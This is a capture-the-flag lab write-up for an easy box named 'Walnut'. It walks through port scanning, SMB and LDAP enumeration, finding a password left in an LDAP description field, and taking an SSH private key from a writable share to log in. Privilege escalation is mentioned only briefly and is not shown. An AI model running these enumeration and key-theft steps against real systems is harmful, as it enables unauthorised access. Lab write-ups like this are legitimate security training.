

Walnut (Easy)

Initial Access

username: larryburns

password: IloveMontgommery!

Host: walnut.local

Nmap

We got creds we need to find out where they were start with nmap scan for open ports

sudo rustscan -a 10.0.27.188 --ulimit 5000 -r 1-65535 -- -A -oN nmap.txt

```
PORT      STATE SERVICE      REASON        VERSION
22/tcp    open  ssh          syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a1:50:1d:04:de:66:51:74:29:2d:8e:87:af:5d:7d:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBD Ae20GwLE70VoJD0kmmOr88x5Sb
Ebr7mN7xhBqklK0Eyhcd9Edl4BwWazmZ04fp2XG5bcRYfVYvD6LCxNDXSQk=
| 256 4a:db:47:8c:fa:61:66:2e:22:e5:df:da:bb:b3:ce:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrrcUB1RZkqREz6oXnJ6JoTHvvkQfCehxAricf5Le1q
111/tcp    open  rpcbind      syn-ack ttl 62 2-4 (RPC #100000)
| rpcinfo:
|  program version      port/proto  service
| 100000  2,3,4          111/tcp     rpcbind
| 100000  2,3,4          111/udp     rpcbind
| 100000  3,4            111/tcp6    rpcbind
| 100000  3,4            111/udp6    rpcbind
| 100003  3,4            2049/tcp    nfs
| 100003  3,4            2049/tcp6   nfs
| 100005  1,2,3          34529/tcp6  mountd
| 100005  1,2,3          53198/udp6  mountd
| 100005  1,2,3          57025/tcp   mountd
| 100005  1,2,3          57710/udp   mountd
139/tcp    open  netbios-ssn  syn-ack ttl 62 Samba smbd 4
389/tcp    open  ldap         syn-ack ttl 62 OpenLDAP 2.2.X - 2.3.X
445/tcp    open  netbios-ssn  syn-ack ttl 62 Samba smbd 4
2049/tcp    open  nfs_acl      syn-ack ttl 62 3 (RPC #100227)
34373/tcp  open  status       syn-ack ttl 62 1 (RPC #100024)
35717/tcp  open  mountd       syn-ack ttl 62 1-3 (RPC #100005)
41325/tcp  open  mountd       syn-ack ttl 62 1-3 (RPC #100005)
43865/tcp  open  nlockmgr     syn-ack ttl 62 1-4 (RPC #100021)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
```

We have a lot of interesting ports that are open but first I want to test where the creds work.

SMB(139/445)

SMB is a file sharing service where computers can access Shares.

nxc smb 10.0.27.188 -u larryburns -p IloveMontgommery! --shares

```

(hacker@kali) [~/Desktop/CTF/Hacksmarter/Walnut]
$ nxc smb 10.0.27.188 -u larryburns -p IloveMontgommery! --shares
SMB 10.0.27.188 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signature:False) (SMBv1:None) (Null Auth:True)
SMB 10.0.27.188 445 WALNUT [+] local\\larryburns:IloveMontgommery! (Guest)
SMB 10.0.27.188 445 WALNUT [*] Enumerated shares
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
Share Permissions Remark
print$ Printer Drivers
automation automation share
IPC$ IPC Service (walnut)
t server (Samba, Ubuntu)

```

We have a few Shares but **automation** looks interesting since its not a default share.

smbclient //10.0.27.188/automation -U larryburns

```

(hacker@kali) [~/Desktop/CTF/Hacksmarter/Walnut]
$ smbclient //walnut.local/automation -U larryburns
Password for [WORKGROUP\\larryburns]:
tree connect failed: NT_STATUS_ACCESS_DENIED

```

Looks like I cant access the share.

Enumerating users : nxc smb 10.0.27.188 -u larryburns -p IloveMontgommery! --users

```

(hacker@kali) [~/Desktop/CTF/Hacksmarter/Walnut]
$ nxc smb 10.0.27.188 -u larryburns -p IloveMontgommery! --users
SMB 10.0.27.188 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (signature:False) (SMBv1:None) (Null Auth:True)
SMB 10.0.27.188 445 WALNUT [+] local\\larryburns:IloveMontgommery! (Guest)
SMB 10.0.27.188 445 WALNUT -Username- -Last PW Set-
-BadPW- -Description-
SMB 10.0.27.188 445 WALNUT automation 2025-09-19 13:54:28
0
SMB 10.0.27.188 445 WALNUT [*] Enumerated 1 local users: WALNUT

```

automation is the only user I found.but I still cant acces the share.

Enum ldap

Tried to enumerate using nxc but doesn't look like the creds are working.so I check Hacktricks to manually enumerate.

```
(hacker@kali)-[~/Desktop/CTF/Hacksmarter/Walnut]
$ netexec ldap walnut.local -u 'larryburns' -p 'IloveMontgommery!' --query "(objectClass=*)" ""
LDAP 10.0.27.188 389 walnut.local [-] Failed to enumerate host info for 10.0.27.188,
error: Error in searchRequest → unwillingToPerform: authentication required
[17:51:17] ERROR Exception while calling proto_flow() on target walnut.local: connection.py:187
[Errno 111] Connection refused
Traceback (most recent call last):
  /usr/lib/python3/dist-packages/nxc/connection.py:177 in
  _init_
    174 |         self.logger.info(f"Socket info: host={self.hos
          |         kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-lo
          |         ipv6={self.is_link_local_ipv6}")
    175 |
    176 |         try:
    177 |             self.proto_flow()
    178 |         except FileNotFoundError as e:
    179 |             self.logger.error(f"File not found error o
```

```
ldapsrch -x -H ldap://10.0.27.188 \
-D "uid=larryburns,ou=People,dc=walnut,dc=local" \
-w 'IloveMontgommery!' \
-b "dc=walnut,dc=local"
```

```
# automation, People, walnut.local
dn: uid=automation,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: automation
sn: automation
givenName: automation
cn: automation
displayName: automation
uidNumber: 7789
gidNumber: 7789
gecos: automation
loginShell: /bin/bash
homeDirectory: /home/automation
description: old pw asdh023incasdahff9 please change pw on all servers
```

Found a password for automation then try to check if I have access to those smb shares.

```
nxc smb 10.0.27.188 -u automation -p asdh023incasdahff9 --shares
```

```
(hacker@kali)-[~/Desktop/CTF/Hacksmarter/Walnut]
$ nxc smb 10.0.27.188 -u automation -p asdh023incasdahff9 --shares
SMB 10.0.27.188 445 WALNUT [*] Unix - Samba (name:WALNUT) (domain:local) (sig
ning:False) (SMBv1:None) (Null Auth:True)
SMB 10.0.27.188 445 WALNUT [+] local\automation:asdh023incasdahff9
SMB 10.0.27.188 445 WALNUT [*] Enumerated shares
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
SMB 10.0.27.188 445 WALNUT
t server (Samba, Ubuntu)
```

Share	Permissions	Remark
print\$	READ	Printer Drivers
automation	READ,WRITE	automation share
IPC\$		IPC Service (walnu

I can read and write on the Automation share.

```
smbclient //walnut.local/automation -U automation
```

```

(hacker@kali)-[~/Desktop/CTF/Hacksmarter/Walnut]
$ smbclient //walnut.local/automation -U automation
Password for [WORKGROUP\automation]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Sat Sep 19 18:03:57 2026
..               D           0   Sat Sep 19 18:03:57 2026
.bash_history    H           10  Sun Aug 30 15:04:58 2026
scripts         D           0   Thu Sep 18 22:28:59 2025
.ssh             DH          0   Fri Sep 19 15:39:26 2025
.hidden         DH          0   Thu Sep 18 21:22:44 2025
.cache          DH          0   Thu Sep 18 15:38:52 2025
.lesshst        H           20  Thu Sep 18 21:24:25 2025
user.txt        N           33  Sun Aug 30 14:53:47 2026
.viminfo        H        11817  Thu Sep 18 22:28:59 2025

                        8408452 blocks of size 1024. 2716536 blocks available
smb: \> █

```

I have access to automation's home directory so went to .ssh and grab the **id_rsa** key.

```

smb: \.ssh\> ls
.                D           0   Fri Sep 19 15:39:26 2025
..               D           0   Sat Sep 19 18:03:57 2026
id_rsa.pub       N          576  Thu Sep 18 15:12:15 2025
id_rsa           N        2610  Thu Sep 18 15:12:15 2025
authorized_keys  N          576  Fri Sep 19 15:39:26 2025

                        8408452 blocks of size 1024. 2716536 blocks available
smb: \.ssh\> get id_rsa
getting file \.ssh\id_rsa of size 2610 as id_rsa (2.1 KiloBytes/sec) (average 2.1 KiloByt

```

Change the id_rsa permissions to rw:

chmod 600 id_rsa

then ssh

```

(hacker@kali)-[~/Desktop/CTF/Hacksmarter/Walnut]
$ ssh automation@walnut.local -i id_rsa
The authenticity of host 'walnut.local (10.0.27.188)' can't be established.
ED25519 key fingerprint is: SHA256:9T0wy8Eh/hVF5PEdV/z7to2IyeMked+UZMJXlA4HGcY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'walnut.local' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
Last login: Sun Aug 30 12:58:35 2026 from 10.0.0.247
automation@walnut:~$ id
uid=7789(automation) gid=7789(automation) groups=7789(automation)
automation@walnut:~$ █

```

Got the user flat

PrivEsc

I had problems with my notes since I saved it as a pdf not odt and another problem with the terminal doing its own thing I could scroll up I eventually got tired and follow the walkthrough and abused the NFS to get the

root flag not proud of it but whatever.